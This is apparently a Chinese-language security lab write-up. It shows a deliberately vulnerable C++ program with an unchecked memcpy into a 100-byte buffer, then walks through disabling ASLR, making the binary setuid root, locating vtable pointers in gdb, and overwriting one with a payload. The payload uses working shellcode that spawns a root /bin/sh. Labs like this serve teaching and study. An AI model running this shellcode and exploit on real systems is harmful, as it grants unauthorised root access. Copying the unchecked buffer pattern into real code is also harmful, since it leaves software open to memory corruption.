目录
【漏洞代码】
// g++ -z execstack -o vtable vtable.cpp
#include <iostream>
#include <cstring>
#include <unistd.h>
class Number
{
public:
Number(int x) : number(x) {
}//Number(int x):number(x){}是构造函数,在这个构造函数里使number=x
void setAnnotation(char* a) {
memcpy(annotation, a, strlen(a));
}
virtual int operator+(Number& r) {
return number + r.number;
}
private:
char annotation[100];
int number;
};
int main(int argc, char** argv)
{
if (argc < 2) _exit(1);
Number* x = new Number(5);
Number* y = new Number(6);
Number& five = *x, & six = *y;
five.setAnnotation(argv[1]);
return six + five;}
【代码注解】
第7~16行是Number类的公有部分,第8行Number(int x):number(x){}是构造函数,在这个构造函数里使number=x;10~12行是将setAnnotation函数的参数字符串赋值给私有变量annotation;
第14~16行,C++中,当类中声明虚函数(virtual 关键字)时,编译器会在类中生成一个虚函数表(VTABLE), 虚函数表是一个存储该类的所有成员函数指针的数据结构,虚函数也会被编译器放入虚函数表中。存在虚函数时,每个对象都有一个虚指针(VPTR),它指向 VTABLE,在实现多态的过程中,父类和派生类都有 VPTR 指针。此实验用的是 g++编译器,它把 VPTR 放在类的开头。该函数的功能是返回一个n1.number+n2.number
第23~33行功能如下图所示;
vtable.cpp 中实例化了两个对象,我们可以利用第一个对象的缓冲区溢出,将第二个对象的 VPTR 覆盖,使它指向我们自己设计的 vtable。
【攻击步骤】
1.关闭ASLR,编译并赋权
sudo sysctl -w kernel.randomize_va_space=0
g++ -z execstack -o vtable vtable.cpp
sudo chown root:root vtable
sudo chmod 4755 vtable
2.gdb调试vtable,反汇编main函数:
gdb vtable
disas main
【注解】
(1)_Znwj@plt 函数以及_ZN6NumberC2Ei函数都被调用了两次,猜测是两次new函数和两次构造类的函数;
(2)在每一次调用_Znwj@plt 函数之前,esp都生长了0x6c(108)个字节,而Number类里需要开辟的空间是annotation字符数组的100个字节和一个4字节的int变量和4个字节的vptr指针,所以_Znwj@plt 函数应该是new函数在为Number开辟空间;
(3)两次调用_ZN6NumberC2Ei函数之前,0x5和0x6分别被给入了esp+4个字节的空间,而int型就是4个字节,结合vtable.cpp代码可以得出_ZN6NumberC2Ei函数是构造类的函数,经过如下图验证,猜想正确;
(4)在每一次调用完_Znwj@plt 函数后,接下来mov %eax,%ebx是将新的Number类对象的首地址放到eax中,而根据前面对代码的注解,类中声明了虚函数,所以两个新对象都会有自己的vptr并且vptr指向对象,由此可知,eax里存放的对象首地址也是vptr的地址。
3.找两个vptr之间的距离,以便后续覆盖
(1)在两次_Znwj@plt 函数被调用结束后的位置下断点0x0804863c和0x0804865e;
b *0x0804863c
b *0x0804865e
(2)标记annotation的前四个字节去运行,分别查看两次调用完成后eax的内容;得到两个首地址是0x804b008和0x804b078
r aaaa
info reg eax
c
info reg eax
(3)在setAnnotation调用完之后0x0804869c下断点,此时,标记的aaaa写入了缓冲区,便于观察
b *0x0804869c
c
(4)查看从第一个首地址开始的一段内存,我们发现第二个vptr的位置距离有108个字节,所以如果要把第二个vptr覆盖成自我们自己的vtable,我们可以创建一个shellcode的环境变量,并把该环境变量的地址写入annotaion数组,并把annotation数组的首地址0x0804b00c放在第2个vptr上;
x/100xw 0x804b008
4.攻击
(1)把shellcode放入环境变量LAB4;
export LAB4=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
(2)编写程序获得环境变量LAB4的地址0xbffffa7e,该程序名需要和vtable一样长;
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("LAB4 address: %p ", getenv("LAB4"));
}
(3)发起攻击,攻击成功。
vtable $(python -c "print '\x7e\xfa\xff\xbf'+'\x61\x61\x61\x61'*26+'\x0c\xb0\x04\x08'")